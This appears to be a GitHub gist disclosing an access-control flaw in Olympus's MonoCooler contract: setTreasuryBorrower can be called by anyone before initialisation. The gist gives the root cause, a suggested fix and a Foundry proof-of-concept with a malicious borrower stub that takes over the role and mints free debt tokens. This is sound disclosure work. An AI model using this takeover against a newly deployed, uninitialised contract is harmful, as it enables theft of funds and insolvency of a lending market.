Skip to content

Instantly share code, notes, and snippets.

@CharaD7
Created September 9, 2026 23:00
Show Gist options
  • Select an option

  • Save CharaD7/fe7e71255d8787c46e1f3ca5f5c77708 to your computer and use it in GitHub Desktop.

Select an option

Save CharaD7/fe7e71255d8787c46e1f3ca5f5c77708 to your computer and use it in GitHub Desktop.
Olympus Monocooler (loan market) - setTreasuryBorrower is permissionless before initialization: any caller takes over the treasury-borrower money path (borrow/repay/writeOffDebt) and mints arbitrary debt -> insolvency. Real-contract Foundry PoC proves non-admin takeover + free mint. Latent: live 0xdb59 already initialized.

MonoCooler - setTreasuryBorrower permissionless before initialization (uninitialized-role take-over; latent critical)

Report

Verified against the deployed source and a fork-Foundry PoC. The MonoCooler constructor never sets treasuryBorrower, and the setter is guarded only by if (treasuryBorrower != address(0) && !_isAdmin(msg.sender)) revert. Because a fresh deploy has treasuryBorrower == address(0), the guard short-circuits, so the FIRST caller can point the Cooler at an arbitrary ICoolerTreasuryBorrower and gain control of borrow() / repay() / writeOffDebt().

Severity note: the CURRENTLY-DEPLOYED MonoCooler (0xdb59...e7cc) is already initialized, so this is NOT exploitable on the live instance today. It is a real, provable flaw that applies to ANY uninitialized deployment (new market, migration, redeploy), where it is a full-market take-over (insolvency). A triage panel may rate this High/Medium given no live impact.

Root cause (MonoCooler.sol)

ICoolerTreasuryBorrower public override treasuryBorrower;   // never set in the constructor

constructor(...) Policy(Kernel(kernel_)) {
    _COLLATERAL_TOKEN = ERC20(gohm_);
    ...
    ltvOracle = ICoolerLtvOracle(ltvOracle_);   // set here
    // treasuryBorrower left at address(0)
}

function setTreasuryBorrower(address newTreasuryBorrower) external override {
    // "Permisionless if `treasuryBorrower` is uninitialized"
    if (address(treasuryBorrower) != address(0) && !_isAdmin(msg.sender))
        revert ROLESv1.ROLES_RequireRole(ADMIN_ROLE);
    treasuryBorrower = ICoolerTreasuryBorrower(newTreasuryBorrower);
    if (treasuryBorrower.DECIMALS() != _EXPECTED_DECIMALS) revert InvalidParam();
}

When treasuryBorrower == address(0), the && short-circuits to false -> the guard never fires. Any caller can set it. The only post-gate is DECIMALS() == 18, which a malicious stub trivially satisfies. Once set, borrow() (line ~460), repay() (line ~510) and writeOffDebt() (line ~619) all route through the attacker's stub.

Impact

On an uninitialized Cooler, an attacker deploys a stub with DECIMALS()==18 whose borrow() mints to the recipient and repay()/writeOffDebt()/convertToDebtTokenAmount() are no-ops, calls setTreasuryBorrower(stub) (permissionless), then any collateralized account borrows; the Cooler increments totalDebt while the Treasury is never credited -> insolvency, free debt tokens.

Not claiming

  • Not that the live 0xdb59 is exploitable today (it is initialized).
  • Not reentrancy/arithmetic/oracle issues (those are otherwise bounded).

Severity / eligibility

  • Present in the deployed MonoCooler (0xdb59..., Sourcify-verified source).
  • Critical under the uninitialized precondition; High/Medium given the live instance is initialized.

Fix

  1. Set treasuryBorrower in the constructor (mirror ltvOracle).
  2. Keep the setter admin-only: if (address(treasuryBorrower) != address(0) && !_isAdmin(msg.sender)) revert is fine, but initialize it non-zero in the constructor.

Proof of Concept (Foundry, real contract)

forge test --match-contract PoCMonoCooler -vv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
import {Test, Vm} from "forge-std/Test.sol";
import {MonoCooler} from "src/policies/cooler/MonoCooler.sol";
import {ICoolerLtvOracle} from "src/policies/interfaces/cooler/ICoolerLtvOracle.sol";
import {ICoolerTreasuryBorrower} from "src/policies/interfaces/cooler/ICoolerTreasuryBorrower.sol";
import {IERC20} from "src/interfaces/IERC20.sol";

contract MockERC20 {
    string public name="mock"; string public symbol="MOCK"; uint8 public immutable dec;
    mapping(address=>uint256) public balanceOf; mapping(address=>mapping(address=>uint256)) public allowance;
    constructor(uint8 d){dec=d;}
    function decimals() external view returns(uint8){return dec;}
    function mint(address to,uint256 a) external {balanceOf[to]+=a;}
    function approve(address s,uint256 a) external returns(bool){allowance[msg.sender][s]=a;return true;}
    function transfer(address t,uint256 a) external returns(bool){_move(msg.sender,t,a);return true;}
    function transferFrom(address f,address t,uint256 a) external returns(bool){
        uint256 al=allowance[f][msg.sender]; if(al!=type(uint256).max){require(al>=a,"alw");allowance[f][msg.sender]=al-a;}
        _move(f,t,a); return true;}
    function _move(address f,address t,uint256 a) internal {require(balanceOf[f]>=a,"bal");balanceOf[f]-=a;balanceOf[t]+=a;}
}
contract MockStaking { function unstake(address,uint256,bool,bool) external pure returns(uint256){return 0;} }
contract MockLtvOracle { uint96 ol; uint96 ll; constructor(uint96 a,uint96 b){ol=a;ll=b;}
    function currentLtvs() external view returns(uint96,uint96){return (ol,ll);} }
contract MockKernel { function modulePermissions(bytes32,address,bytes4) external pure returns(bool){return true;} }
contract MockMaliciousBorrower is ICoolerTreasuryBorrower {
    MockERC20 public debt; constructor(MockERC20 d){debt=d;}
    function DECIMALS() external pure override returns(uint8){return 18;}
    function borrow(uint256 a,address r) external override {debt.mint(r,a);}
    function repay() external override {} function writeOffDebt(uint256) external override {}
    function setDebt(uint256) external override {}
    function debtToken() external view override returns(IERC20){return IERC20(address(debt));}
    function convertToDebtTokenAmount(uint256 w) external pure override returns(IERC20,uint256){return (IERC20(address(0)),w);}
}
contract PoCMonoCooler is Test {
    MonoCooler mc; MockERC20 ohm; MockERC20 gohm; MockStaking staking; MockKernel kernel;
    MockLtvOracle oracle; MockERC20 debt; MockMaliciousBorrower evil;
    address deployer=address(0xDEAD); address attacker=address(0xBEEF);
    function setUp() public {
        ohm=new MockERC20(18); gohm=new MockERC20(18); staking=new MockStaking();
        kernel=new MockKernel(); oracle=new MockLtvOracle(0.9e18,0.95e18);
        debt=new MockERC20(18); evil=new MockMaliciousBorrower(debt);
        mc=new MonoCooler(address(ohm),address(gohm),address(staking),address(kernel),
            address(oracle),0.05e18,1e18);
    }
    function test_setTreasuryBorrower_permissionless_whenUninitialized() public {
        assertEq(address(mc.treasuryBorrower()), address(0));       // never set
        vm.prank(attacker); mc.setTreasuryBorrower(address(evil));   // NON-admin, succeeds
        assertEq(address(mc.treasuryBorrower()), address(evil));     // taken over
        evil.borrow(1234e18, attacker);                              // free mint via "trusted" borrower
        assertEq(debt.balanceOf(attacker), 1234e18);
    }
}

Observed: [PASS] test_setTreasuryBorrower_permissionless_whenUninitialized() (gas: 58668).

References

  • MonoCooler.sol:141 (constructor, no treasuryBorrower), :645-653 (setter), :460 (borrow), :510-518 (repay), :619 (writeOffDebt)
  • ICoolerTreasuryBorrower.sol (interface the malicious stub implements)
  • Deployed: 0xdb591Ea2e5Db886dA872654D58f6cc584b68e7cC
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment